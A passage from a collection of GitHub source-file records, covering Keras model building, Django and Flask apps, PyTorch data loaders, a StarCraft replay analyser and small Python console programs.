loss_weights=loss_weights)\n    with open(save_path+\"EmbeddingModel.json\", \"w\") as json_file:\n        json_file.write(EmbeddingModel.to_json())\n\t\n    # Branch of neural net learning node embeddings only for graph A\n    EmbeddingABranch.compile(optimizer=Optimizer, loss=getLoss(similarity_loss))\n    with open(save_path+\"EmbeddingABranch.json\", \"w\") as json_file:\n        json_file.write(EmbeddingABranch.to_json())\n    \n    if transmode != '1graph':\n        # Branch of neural net learning node embeddings only for graph B\n        EmbeddingBBranch.compile(optimizer=Optimizer, loss=getLoss(similarity_loss))\n        with open(save_path+\"EmbeddingBBranch.json\", \"w\") as json_file:\n            json_file.write(EmbeddingBBranch.to_json())\n\t\n    # Neural Net predicting labels\n    if n_labels > 1:\n        prediction_loss = \"categorical_crossentropy\"\n    elif prediction_loss is None: #or labels != 'pagerank':\n        prediction_loss = \"binary_crossentropy\"\n    elif prediction_loss == 'root_mean_squared_error':\n        prediction_loss = RMSELoss\n#    else:\n#        prediction_loss = pagerank_loss\n    PredictionModel.compile(optimizer=Optimizer, loss=prediction_loss)\n        \n    with open(save_path+\"PredictionModel.json\", \"w\") as json_file:\n        json_file.write(PredictionModel.to_json())\n    with open(save_path+\"PredictionBranch.json\", \"w\") as json_file:\n        json_file.write(PredictionModel.get_layer('Branch_Prediction').to_json())\n    \n    if visualize:\n        plotArchitecture(EmbeddingModel, 'EmbeddingModel', save_path)\n        plotArchitecture(EmbeddingABranch, 'EmbeddingBranch', save_path)\n        plotArchitecture(PredictionModel, 'PredictionModel', save_path)\n        plotArchitecture(PredictionModel.get_layer('Branch_Prediction'), 'PredictionBranch', save_path)\n    \n    model_names = ['EmbeddingModel', 'EmbeddingABranch', 'EmbeddingBBranch', 'PredictionModel']\n    models = dict(zip(model_names, [EmbeddingModel, EmbeddingABranch, EmbeddingBBranch, PredictionModel]))\n    \n    return models    \n\n    \n\n    \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n    \n    \n","repo_name":"yuanee/GraphTransfer","sub_path":"code/createGTLmodel.py","file_name":"createGTLmodel.py","file_ext":"py","file_size_in_byte":17205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"36723512558","text":"from django.db import models\n\nfrom backend.constants.field_restrictions import NAME_MAX_LENGTH\n\n\nclass User(models.Model):\n    name = models.CharField(\n        help_text=\"Name of the user.\",\n        max_length=NAME_MAX_LENGTH,\n        unique=True\n    )\n    dota_id = models.IntegerField(\n        help_text=\"ID of the user in DOTA 2.\",\n        unique=True\n    )\n\n    #  Relationships.\n    games = models.ManyToManyField(\n        \"Game\",\n        through=\"PlayerStats\"\n    )\n\n    def __repr__(self):\n        return f\"<User(\" \\\n               f\"pk={self.pk}, \" \\\n               f\"dota_id={self.dota_id}, \" \\\n               f\"name={self.name} \" \\\n               f\")>\"\n\n    def __str__(self):\n        return self.__repr__()\n","repo_name":"bloodeRok/mini_dotabuff","sub_path":"backend/models/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"31550599586","text":"from asyncio import tasks\nimport os\nfrom celery import Celery\nfrom celery.schedules import crontab\n\n\n\n\n\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"FetchApi.settings\")\napp = Celery('FetchApi')\napp.config_from_object(\"django.conf:settings\", namespace=\"CELERY\")\n\n# Looks up for task modules in Django applications and loads them\napp.autodiscover_tasks()\n\n\n\n    \n\n\n\napp.conf.beat_schedule = {\n    \n    'fetchs videos every one minute': {\n        \"task\": \"api.tasks.save_videos\",\n        \"schedule\": crontab(minute=\"*/1\"),\n    },\n}\n\napp.conf.timezone = 'Asia/Kolkata'\n\n\n\n","repo_name":"ManishGovind/Youtube-Fetch-Api","sub_path":"FetchApi/FetchApi/celery.py","file_name":"celery.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"38646644733","text":"from django.forms import ModelForm, TextInput\nfrom .models import City\n \n\nclass CityForm(ModelForm):\n    class Meta:\n        model = City\n        fields = ['name']\n        widgets = {\n            'name': TextInput(attrs={\n                'class': 'input',\n                'placeholder': 'Nom de ville'\n            }),\n        } # update the input class to have the correct Bulma class and placeholder","repo_name":"Cecile-Hirschauer/Django_weather_app","sub_path":"weather/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"33424961924","text":"from os import system,name\nsystem('cls')\nwhile True:\n    import keyword\n    import sys\n\n\n    def list_keywords():\n        print(\"list of keywords:\\n\", keyword.kwlist)\n\n\n    def swapping():\n        aa = input(\"Enter first number\")\n        bb = input(\"Enter second number\")\n        cc = input(\"Enter third number\")\n        aa, bb, cc = cc, aa, bb\n        print(\"Swapped values=\", aa, \", \", bb, \", \", cc)\n\n\n    def size():\n        qw = input(\"Enter the value whose size to be found\")\n        print(\"storage size:\\n\", sys.getsizeof(qw))\n\n\n    def address():\n        we = input(\"Enter desired value\")\n        print(\"Address of entered value:\\n\", id(we))\n\n\n    def conversion():\n        print(\"For binary to octal enter 1\\nFor binary to hexadecimal enter 2 \\n\")\n        con = input(\"Enter your choice\")\n        x = input(\"Enter to value to be converted\")\n        if int(con) == 1:\n            print(\"Binary to octal=\", oct(int(x)))\n        elif int(con) == 2:\n            print(\"binary to hexadecimal=\", hex(int(x)))\n        else:\n            print(\"are you trying to crack a joke cause it ain't funny...\")\n\n\n    def EXIT():\n        sys.exit()\n\n\n    print(\n        \"List of avaiable functions:\\n*List of keywords (enter '1')\\n*Swapping  of 3 numbers (enter '2')\\n*Display storage size (enter '3')\\n*Display address (enter '4')\\n*BinaryConversions (enter '5')\\nTo exit enter 6\")\n    a = input(\"Enter your choice\\n\")\n    if int(a) == 1:\n        list_keywords()\n    elif int(a) == 2:\n        swapping()\n    elif int(a) == 3:\n        size()\n    elif int(a) == 4:\n        address()\n    elif int(a) == 5:\n        conversion()\n    elif int(a) == 6:\n        EXIT()\n    else:\n        print(\"are you trying to crack a joke cause it ain't funny...\")","repo_name":"abhishekgtm373/Boot_Camp","sub_path":"Test_sub.py","file_name":"Test_sub.py","file_ext":"py","file_size_in_byte":1732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"13217157375","text":"import argparse\nimport cv2\nimport math\nimport psycopg2\nimport keyring\n\n\ndef connect_db(user, dbname):\n    try:\n        conn = psycopg2.connect(dbname=dbname, user=user, password=keyring.get_password(dbname, user))\n        cur = conn.cursor()\n        print(conn.get_dsn_parameters(), \"\\n\")\n        cur.execute(\"SELECT version();\")\n        record = cur.fetchone()\n        print('You are connected to' + str(record))\n\n    except (Exception, psycopg2.Error) as error:\n        print('Error while connecting to PostgreSQL' + str(error))\n        conn = None\n        cur = None\n\n    return conn, cur\n\n\ndef click_event(event, x, y, flags, param):\n    if event == cv2.EVENT_LBUTTONDOWN:\n        cv2.circle(img, (x, y), 3, (0, 0, 255), 3, cv2.FILLED)\n        points.append((x, y))\n        if len(points) >= 2:\n            cv2.line(img, points[-1], points[-2], (255, 0, 0), 5, cv2.LINE_AA)\n            xm, ym = points[-1]\n            xm = args['x'] + xm*args['resolution']\n            ym = args['y'] + (height - ym) * args['resolution']\n            xm_, ym_ = points[-2]\n            xm_ = args['x'] + xm_ * args['resolution']\n            ym_ = args['y'] + (height - ym_) * args['resolution']\n            print(\"coordinates: p1 (%f, %f), p2 (%f, %f)\" % (xm, ym, xm_, ym_))\n            insert_wall(xm, ym, xm_, ym_)\n            points.clear()\n        cv2.imshow('Image', img)\n\n\ndef create_table(con, cur):\n    cur.execute(\"CREATE TABLE IF NOT EXISTS walls(\"\n                \"id serial PRIMARY KEY,\"\n                \"surface geometry NOT NULL)\")\n    con.commit()\n\n\ndef insert_wall(xm, ym, xm_, ym_, wdepth=0.1, wheight=4):\n    query_mask = \"INSERT INTO walls(surface) \" \\\n                 \"VALUES(ST_Extrude(ST_GeomFromText('LINESTRING({} {}, {} {})'),0,0,{}))\" \n    query = query_mask.format(xm, ym, xm_, ym_, wheight)\n    cursor.execute(query)\n    connection.commit()\n\n\nap = argparse.ArgumentParser()\nap.add_argument(\"-i\", \"--image\", required=True, help=\"Path to the image\")\nap.add_argument(\"-r\", \"--resolution\", required=True, type=float, help=\"Resolution\")\nap.add_argument(\"-x\", required=True, type=float, help=\"Origin x\")\nap.add_argument(\"-y\", required=True, type=float, help=\"Origin y\")\nargs = vars(ap.parse_args())\n\nprint(args['x'])\nprint(args['y'])\n\nimg = image = cv2.imread(args[\"image\"])\n\nconnection, cursor = connect_db('agnese', 'gis_database')\ncreate_table(connection, cursor)\n\nheight, width = img.shape[:2]\nprint(width)\nprint(height)\nx0 = math.floor(math.fabs(args['x']) / args['resolution'])\ny0 = height - math.floor(math.fabs(args['y']) / args['resolution'])\nprint(x0)\nprint(y0)\ncv2.circle(img, (x0, y0), 3, (0, 0, 255), 3, cv2.FILLED)\ncv2.imshow('Image', img)\npoints = []\n\ncv2.setMouseCallback('Image', click_event)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","repo_name":"kmi-robots/postgis_interfaces","sub_path":"draw_walls.py","file_name":"draw_walls.py","file_ext":"py","file_size_in_byte":2757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"2843441445","text":"#!/usr/bin/env python3\nimport sc2reader\nimport os\nimport sys\nimport collections\nimport glob\nimport logging\n\nSTARNOOB_LIB_DIR = '/root/StarNoob/lib'\nsys.path.append(STARNOOB_LIB_DIR)\n\n\nLOG = logging.getLogger(__name__)\nLOG.setLevel(logging.INFO)\nLOG.addFilter(logging.Filter(__name__))\n\n# To generate macro list, first do patching to game.py,\n# then rm the __pycache__ dir in game.py's dir\n'''\n--- a/lib/sc2reader/events/game.py\n+++ b/lib/sc2reader/events/game.py\n@@ -251,13 +251,10 @@ class CommandEvent(GameEvent):\n             string += \"Right Click\"\n\n         if self.ability_type == \"TargetUnit\":\n-            string += \"; Target: {0} [{1:0>8X}]\".format(\n-                self.target.name, self.target_unit_id\n+            string += \"; Target: {0}\".format(\n+                self.target.name\n             )\n\n-        if self.ability_type in (\"TargetPoint\", \"TargetUnit\"):\n-            string += \"; Location: (%.2f, %.2f, %.2f)\" % self.location\n-\n         return string\n'''\n\n\n# get all replays recursively\ndef get_all_replays_recursive(dir_path=r\"./\"):\n    result = []\n    replay_path = r\"*.SC2Replay\"\n    all_dir_path = r\"*/\"\n    tmp_replay = glob.glob(dir_path+replay_path)\n    tmp_folder = glob.glob(dir_path+all_dir_path)\n    result += tmp_replay\n\n    while tmp_replay != [] or tmp_folder != []:\n        dir_path += all_dir_path\n        tmp_replay = glob.glob(dir_path+replay_path)\n        tmp_folder = glob.glob(dir_path+all_dir_path)\n        result += tmp_replay\n\n    return result\n\n\ndef load_replays(paths):\n    results = []\n    total = len(paths)\n    LOG.info(f'Total replays: {total}')\n    for i, path in enumerate(paths):\n        LOG.info(\n            f'{i}/{total} Processing {path[0] if len(path[0]) < 50 else f\"...{path[0][-50:]}\"}')\n        replay = sc2reader.load_replay(path[0], load_map=True)\n        results.append(parse_replay(replay, path[1]))\n\n    return results\n\n\ndef parse_replay(replay, player_no):\n    result = []\n    for event in replay.game_events:\n        try:\n            if event.player == replay.players[player_no-1]:\n                result.append(event)\n        except:\n            continue\n\n    return result\n\n\ndef classify_by_race(paths):\n    \"\"\"\n    type:\n        List[\"path\", ...]\n        v\n        Dict{\"Terran\":[[\"path\", player_no],], \"Protoss\":[[\"path\", player_no]...], \"Zerg\":[[\"path\",player_no],...]}\n    \"\"\"\n    races = {\"Terran\": [], \"Protoss\": [], \"Zerg\": []}\n    for path in paths:\n        try:\n            replay = sc2reader.load_replay(path, load_level=2)\n            for i in range(len(replay.players)):\n                races[replay.attributes[i+1][\"Race\"]].append([path, i+1])\n        except:\n            continue\n\n    return races\n\n\ndef main():\n    if len(sys.argv) != 2 or sys.argv[1] not in ['Terran', 'Protoss', 'Zerg']:\n        print(f'Usage: {__file__} [Terran|Protoss|Zerg]')\n        sys.exit()\n\n    lst = []\n    mapping = {}\n    cnt = collections.defaultdict(int)\n\n    targets = get_all_replays_recursive(r'/root/replays/')\n    targets = classify_by_race(targets)[sys.argv[1]]\n    event_list_list = load_replays(targets)\n\n    for event_list in event_list_list:\n        control_group_list = [[]]*10\n        selected_units = []\n        prev_str = ''\n        for act in event_list:\n            if type(act) == sc2reader.events.game.SelectionEvent:\n                if act.new_units:\n                    selected_units = act.new_units\n                else:\n                    selected_units = act.new_unit_info\n\n            elif type(act) == sc2reader.events.game.GetControlGroupEvent:\n                selected_units = control_group_list[act.control_group]\n\n            elif type(act) == sc2reader.events.game.AddToControlGroupEvent:\n                control_group_list[act.control_group] += selected_units\n\n            elif type(act) == sc2reader.events.game.SetControlGroupEvent:\n                control_group_list[act.control_group] = selected_units\n\n            elif type(act) == sc2reader.events.game.CameraEvent:\n                pass\n\n            else:\n                if selected_units:\n                    lst.append(\n                        'SelectionEvent ' + str(set([str(s).split(' ')[0] for s in selected_units])))\n                    selected_units = []\n\n                now_str = str(act)\n                if prev_str != now_str:\n                    lst.append(now_str)\n                    prev_str = now_str\n\n    for l in [3, 4, 5, 6]:\n        for i in range(len(lst) - l):\n            if lst[i].startswith('Sele'):  # SelectionEvent\n                conlst = tuple(lst[i:i+l])\n                val = hash(conlst)\n                mapping[val] = conlst\n                cnt[val] += 1\n\n    i = 0\n    for k in sorted(cnt, key=cnt.get, reverse=True):\n        if i > 500:\n            break\n        print(len(mapping[k]), cnt[k], mapping[k])\n        i += 1\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"NightKirie/StarNoob","sub_path":"test/HexRabbit/gen_macro_action_set.py","file_name":"gen_macro_action_set.py","file_ext":"py","file_size_in_byte":4857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"70769518862","text":"import os\n\nimport torch.utils.data as data\nimport torchvision.datasets as datasets\nimport torchvision.transforms as transforms\n\nfrom .utils import LabelNoise, split_dataset\n\n\ndef get_loaders(args):\n    if args.dataset == 'cifar100':\n        loaders = loaders_cifar\n    elif args.dataset == 'imagenet':\n        loaders = loaders_imagenet\n    else:\n        raise ValueError(\"dataset {} is not available\".format(args.dataset))\n\n    return loaders(dataset_name=args.dataset, batch_size=args.batch_size,\n                   test_batch_size=args.test_batch_size,\n                   cuda=args.cuda, topk=args.topk, train_size=args.train_size,\n                   val_size=args.val_size, noise=args.noise_labels,\n                   augment=args.augment, multiple_crops=args.multiple_crops,\n                   data_root=args.data_root)\n\n\ndef loaders_cifar(dataset_name, batch_size, cuda,\n                  train_size, augment=True, val_size=5000,\n                  test_batch_size=1000, topk=None, noise=False,\n                  multiple_crops=False, data_root=None):\n\n    assert dataset_name == 'cifar100'\n    assert not multiple_crops, \"no multiple crops for CIFAR-100\"\n\n    data_root = data_root if data_root is not None else os.environ['VISION_DATA']\n    root = '{}/{}'.format(data_root, dataset_name)\n\n    # Data loading code\n    mean = [125.3, 123.0, 113.9]\n    std = [63.0, 62.1, 66.7]\n    normalize = transforms.Normalize(mean=[x / 255.0 for x in mean],\n                                     std=[x / 255.0 for x in std])\n\n    if augment:\n        transform_train = transforms.Compose([\n            transforms.RandomCrop(32, padding=4),\n            transforms.RandomHorizontalFlip(),\n            transforms.ToTensor(),\n            normalize])\n    else:\n        transform_train = transforms.Compose([\n            transforms.ToTensor(),\n            normalize])\n\n    transform_test = transforms.Compose([\n        transforms.ToTensor(),\n        normalize])\n\n    # define two datasets in order to have different transforms\n    # on training and validation (no augmentation on validation)\n    dataset_train = datasets.CIFAR100(root=root, train=True,\n                                      transform=transform_train)\n    dataset_val = datasets.CIFAR100(root=root, train=True,\n                                    transform=transform_test)\n    dataset_test = datasets.CIFAR100(root=root, train=False,\n                                     transform=transform_test)\n\n    # label noise\n    if noise:\n        dataset_train = LabelNoise(dataset_train, k=5, n_labels=100, p=noise)\n\n    return create_loaders(dataset_name, dataset_train, dataset_val,\n                          dataset_test, train_size, val_size, batch_size,\n                          test_batch_size, cuda, num_workers=4, noise=noise)\n\n\ndef loaders_imagenet(dataset_name, batch_size, cuda,\n                     train_size, augment=True, val_size=50000,\n                     test_batch_size=256, topk=None, noise=False,\n                     multiple_crops=False, data_root=None):\n\n    assert dataset_name == 'imagenet'\n    data_root = data_root if data_root is not None else os.environ['VISION_DATA_SSD']\n    root = '{}/ILSVRC2012-prepr-split/images'.format(data_root)\n\n    mean = [0.485, 0.456, 0.406]\n    std = [0.229, 0.224, 0.225]\n\n    traindir = os.path.join(root, 'train')\n    valdir = os.path.join(root, 'val')\n    testdir = os.path.join(root, 'test')\n\n    normalize = transforms.Normalize(mean=mean, std=std)\n\n    if multiple_crops:\n        print('Using multiple crops')\n        transform_test = transforms.Compose([\n            transforms.Resize(256),\n            transforms.TenCrop(224),\n            lambda x: [normalize(transforms.functional.to_tensor(img)) for img in x]])\n    else:\n        transform_test = transforms.Compose([\n            transforms.Resize(224),\n            transforms.CenterCrop(224),\n            transforms.ToTensor(),\n            normalize])\n\n    if augment:\n        transform_train = transforms.Compose([\n            transforms.RandomCrop(224),\n            transforms.RandomHorizontalFlip(),\n            transforms.ToTensor(),\n            normalize])\n    else:\n        transform_train = transform_test\n\n    dataset_train = datasets.ImageFolder(traindir, transform_train)\n    dataset_val = datasets.ImageFolder(valdir, transform_test)\n    dataset_test = datasets.ImageFolder(testdir, transform_test)\n\n    return create_loaders(dataset_name, dataset_train, dataset_val,\n                          dataset_test, train_size, val_size, batch_size,\n                          test_batch_size, cuda, noise=noise, num_workers=4)\n\n\ndef create_loaders(dataset_name, dataset_train, dataset_val, dataset_test,\n                   train_size, val_size, batch_size, test_batch_size, cuda,\n                   num_workers, topk=None, noise=False):\n\n    kwargs = {'num_workers': num_workers, 'pin_memory': True} if cuda else {}\n\n    dataset_train, dataset_val = split_dataset(dataset_train, dataset_val, train_size, val_size)\n\n    print('Dataset sizes: \\t train: {} \\t val: {} \\t test: {}'\n          .format(len(dataset_train), len(dataset_val), len(dataset_test)))\n\n    train_loader = data.DataLoader(dataset_train,\n                                   batch_size=batch_size,\n                                   shuffle=True, **kwargs)\n\n    val_loader = data.DataLoader(dataset_val,\n                                 batch_size=test_batch_size,\n                                 shuffle=False, **kwargs)\n\n    test_loader = data.DataLoader(dataset_test,\n                                  batch_size=test_batch_size,\n                                  shuffle=False, **kwargs)\n\n    train_loader.tag = 'train'\n    val_loader.tag = 'val'\n    test_loader.tag = 'test'\n\n    return train_loader, val_loader, test_loader\n","repo_name":"oval-group/smooth-topk","sub_path":"experiments/data/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5767,"program_lang":"python","lang":"en","doc_type":"code","stars":242,"dataset":"github-code","pt":"47"}
{"seq_id":"22657548358","text":"# -*- coding: utf-8 -*-\nimport json\n\nfrom flask import (render_template, g, request, current_app, flash, redirect,\n                   url_for, abort)\nfrom flask.ext.login import login_required, current_user\nfrom shapely.geometry import mapping\n\nfrom models import Trip\nfrom login_views import create_login_views\nfrom filters import create_filters\nfrom parse_gpx import parse_gpx\n\nTRIP_TYPES = {\n    'hiking': u'Fjelltur',\n    'jogging': u'Joggetur',\n    'walking': u'Gåtur',\n    'cycling': u'Sykling',\n    'nordicski': u'Skitur',\n    'car': u'Biltur',\n    'swimming': u'Svømmetur',\n    'rollerskate': u'Rulleskøyter',\n    'snowshoeing': u'Truger',\n    'motorbike': u'Motorsykkel',\n    'snowmobiling': u'Snøscooter',\n    'atv': u'ATV',\n    'default': u'Annet',\n}\n\n\ndef create_views(app):\n\n    create_filters(app)\n    create_login_views(app)\n\n    @app.before_request\n    def before_request():\n        g.user = current_user\n\n    @app.route('/')\n    def index():\n        if current_user.is_authenticated():\n            return redirect(url_for('trips'))\n        return render_template('index.html')\n\n    @app.route('/editprofile', methods=['GET', 'POST'])\n    def editprofile():\n        if request.method == 'GET':\n            return render_template(\n                'editprofile.html',\n                user=current_user,\n                errors={},\n                edit=True\n            )\n\n        if request.form['password'] and request.form['password'] != '':\n            current_user.set_password(\n                request.form['password'],\n                request.form['password2']\n            )\n        current_user.email = request.form['email'],\n        current_user.fullname = request.form['fullname']\n\n        if current_user.validate():\n            current_app.db_session.add(current_user)\n            current_app.db_session.commit()\n            flash('Profilen ble oppdatert!')\n\n        return render_template(\n            'editprofile.html',\n            errors=current_user.validation_errors,\n            user=current_user,\n            edit=True\n        )\n\n    @app.route('/trips')\n    @login_required\n    def trips():\n        trips = [trip.serialize_with_point() for trip in current_user.trips]\n        return render_template('trips.html', trips=json.dumps(trips))\n\n    ALLOWED_EXTENSIONS = set(['gpx'])\n\n    def allowed_file(filename):\n        return '.' in filename and \\\n            filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS\n\n    @app.route('/upload', methods=['GET', 'POST'])\n    @login_required\n    def upload():\n        errors = {}\n        data = {}\n        if request.method == 'POST':\n\n            file = request.files['file']\n            title = request.form['title']\n            type = request.form['type']\n            description = request.form['description']\n\n            if not title or title == '':\n                errors['title'] = 'Oppgi en tittel'\n            if not file:\n                errors['file'] = u'Du må angi en fil.'\n            elif not allowed_file(file.filename):\n                errors['file'] = u'Ugyldig filtype! (må være en av %s)' % \\\n                    ', '.join(ALLOWED_EXTENSIONS)\n            data['title'] = title\n            data['type'] = type\n            data['description'] = description\n            if not errors:\n                try:\n                    points = parse_gpx(file)\n                    trip = Trip(\n                        user=current_user,\n                        title=title,\n                        description=description,\n                        type=type,\n                        start=points[0].time,\n                        stop=points[-1].time,\n                    )\n                    trip.points = points\n                    current_app.db_session.add(trip)\n                    current_app.db_session.commit()\n                    flash(u'Turen ble lagret!')\n                    return redirect(url_for('trip_detail', id=trip.id))\n                except ValueError:\n                    flash(u'Filen du lastet opp er ikke gyldig GPX!')\n\n        return render_template(\n            'upload.html',\n            trip_types=TRIP_TYPES,\n            errors=errors,\n            data=data\n        )\n\n    @app.route('/trips/<int:id>')\n    def trip_detail(id):\n\n        trip = current_app.db_session.query(Trip).get(id)\n        if not trip:\n            abort(404)\n        return render_template(\n            'trip_detail.html',\n            trip=trip,\n            trip_types=TRIP_TYPES,\n            geom=json.dumps(mapping(trip.geom))\n        )\n","repo_name":"atlefren/mineturer2","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4525,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"47"}
{"seq_id":"19616836918","text":"from antlr4 import *\n\nfrom gen.AssignmentStLexer import AssignmentStLexer\nfrom gen.AssignmentStParser import AssignmentStParser\nfrom gen.AssignmentStListener import AssignmentStListener\n\nimport argparse\n\nclass MyListener(AssignmentStListener):\n    pass\n\ndef main(args):\n    # Step 1: Load input source into stream\n    stream = FileStream(args.file, encoding='utf8')\n    # input_stream = StdinStream()\n    # Step 2: Create an instance of AssignmentStLexer\n    lexer = AssignmentStLexer(stream)\n    # Step 3: Convert the input source into a list of tokens\n    token_stream = CommonTokenStream(lexer)\n    # Step 4: Create an instance of the AssignmentStParser\n    parser = AssignmentStParser(token_stream)\n    # Step 5: Create parse tree\n\n    # Step 6: Create an instance of AssignmentStListener\n    AssignmentSt_listener = AssignmentStListener()\n    print('begin')\n    token = lexer.nextToken()\n    while token.type != Token.EOF:\n        print(\"token - text: \", token.text, \" line: \", token.line)\n        token = lexer.nextToken()\n    # parse_tree = parser.start()\nif __name__ == '__main__':\n    argparser = argparse.ArgumentParser()\n    argparser.add_argument(\n        '-n', '--file',\n        help='Input source', default = r\"D:\\LectureNotes-98\\Compiler\\3-Tools\\Antlr\\AssignmentST\\AssSt.txt\")\n    args = argparser.parse_args()\n    main(args)","repo_name":"parsa-git/MyWork","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"25460555258","text":"from django.db import models\nfrom django.db.models.deletion import CASCADE\nfrom django.contrib.auth import get_user_model\n\nfrom shared.models import VoteMixin\nfrom topics.models import Topic\n\nUser = get_user_model()\n\n\nclass Snippet(VoteMixin, models.Model):\n    name = models.CharField(max_length=100, blank=False)\n    description = models.CharField(max_length=25000, default='')\n    user = models.ForeignKey(\n        User,\n        on_delete=CASCADE,\n        related_name='snippets',\n        related_query_name='snippet'\n    )\n    topics = models.ManyToManyField(\n        Topic, related_name='snippets')\n\n    class Meta:\n        ordering = ['-id']\n\n\nclass File(models.Model):\n    name = models.CharField(max_length=100, blank=False)\n    content = models.TextField(max_length=25000, blank=False)\n    snippet = models.ForeignKey(\n        Snippet,\n        on_delete=CASCADE,\n        related_name='files',\n        related_query_name='file'\n    )\n\n    class Meta:\n        ordering = ['-id']\n\n\nclass Comment(models.Model):\n    user = models.ForeignKey(\n        User,\n        on_delete=CASCADE,\n        related_name='comments',\n        related_query_name='comment'\n    )\n    snippet = models.ForeignKey(\n        Snippet,\n        on_delete=CASCADE,\n        related_name='comments',\n        related_query_name='comment'\n    )\n    parent = models.ForeignKey(\n        'self',\n        null=True,\n        blank=True,\n        related_name='replies',\n        on_delete=CASCADE\n    )\n    active = models.BooleanField(default=True)\n    created_date = models.DateTimeField(auto_now_add=True)\n    content = models.TextField(max_length=25000, blank=False)\n\n    class Meta:\n        ordering = ['created_date']\n","repo_name":"aileria/snippets-backend","sub_path":"snippets/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"28506116768","text":"import random\n\n\nclass Menu:\n    def __init__(self):\n        self.cmd_select_mode = {\n            \"1\": \"Installer le programme\",\n            \"2\": \"Utiliser le programme\",\n            \"0\": \"Quitter le programme\",\n        }\n        self.cmd_select_option = {\n            \"1\": \"Trouver un aliment\",\n            \"2\": \"Afficher les substitus enregistrés\",\n            \"0\": \"Retour\",\n        }\n        self.cmd_categories = {}\n        self.cmd_products = {}\n        self.back = False\n\n    def menu_select_mode(self, app: object) -> None:\n        \"\"\"Selection between installation or use.\"\"\"\n        while True:\n            for key, element in self.cmd_select_mode.items():\n                print(f\"{key} : {element}\")\n            entry = input(\n                \"\\nEntrer un chiffre pour sélectionner l'option correspondante : \"\n            )\n            if entry == \"1\":\n                app.create_db()\n            elif entry == \"2\":\n                self.menu_select_option(app)\n            elif entry == \"0\":\n                break\n            else:\n                print(\"\\nCommande non reconnu\")\n\n    def menu_select_option(self, app: object) -> None:\n        \"\"\"Selection between product search or substitutes display.\"\"\"\n        while True:\n            self.back = False\n            print(\"-\" * 50)\n            for key, element in self.cmd_select_option.items():\n                print(f\"{key} : {element}\")\n            entry = input(\n                \"\\nEntrer un chiffre pour sélectionner l'option correspondante : \"\n            )\n            if entry == \"1\":\n                self.menu_categories(app)\n            elif entry == \"2\":\n                save = app.view_save()\n                print(\"-\" * 50 + \"\\nSubstitut(s) enregistré(s) :\\n\")\n                for prod, sub in save.items():\n                    print(f\"Produit {prod} substitué par {sub} \")\n            elif entry == \"0\":\n                break\n            else:\n                print(\"\\nCommande incorrecte\")\n\n    def menu_categories(self, app: object) -> None:\n        \"\"\"Display 10 random categories and allow selection.\"\"\"\n        while True:\n            if self.back:\n                break\n            else:\n                self.cmd_categories = app.view_cat()\n                rand_cat = random.sample(list(self.cmd_categories), 10)\n                print(\"-\" * 50)\n                for x in rand_cat:\n                    print(f\"{x} : {self.cmd_categories[x]}\")\n                entry = input(\n                    \"\\nEntrer un chiffre pour sélectionner la catégorie correspondante : \"\n                )\n                if entry in self.cmd_categories:\n                    if entry == \"0\":\n                        break\n                    else:\n                        self.menu_products(app, entry)\n                else:\n                    print(\"\\nCommande incorrecte\")\n\n    def menu_products(self, app: object, entry: str) -> None:\n        \"\"\"Display product of the category chosen.\"\"\"\n        while True:\n            if self.back:\n                break\n            else:\n                self.cmd_products = app.view_prod(entry)\n                print(\"-\" * 50)\n                for key, element in self.cmd_products.items():\n                    print(f\"{key} : {element}\")\n                entry = input(\n                    \"\\nEntrer un chiffre pour sélectionner le produit correspondant : \"\n                )\n                if entry in self.cmd_products:\n                    if entry == \"0\":\n                        break\n                    else:\n                        self.menu_saving(app, entry)\n                else:\n                    print(\"\\nCommande incorrecte\")\n\n    def menu_saving(self, app: object, entry: str) -> None:\n        \"\"\"Display substiute found and allow it saving.\"\"\"\n        while True:\n            prod = self.cmd_products.get(entry)\n            alt = app.search_alt(prod)\n            sub = app.relevance(alt)\n            print(\"-\" * 50)\n            print(f\"\\nSubstitut trouvé pour le produit {prod} : {sub}\")\n            entry = input(\n                \"\\nVoulez vous enregistrer le substitut dans votre liste ? (y/n)\"\n            )\n            if entry == \"y\":\n                feedback = app.insert_sub(prod, sub)\n                print(feedback)\n                self.back = True\n                break\n            elif entry == \"n\":\n                self.back = True\n                break\n            else:\n                print(\"\\nCommande incorrecte\")\n","repo_name":"Nicolasdvl/P5","sub_path":"menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":4456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
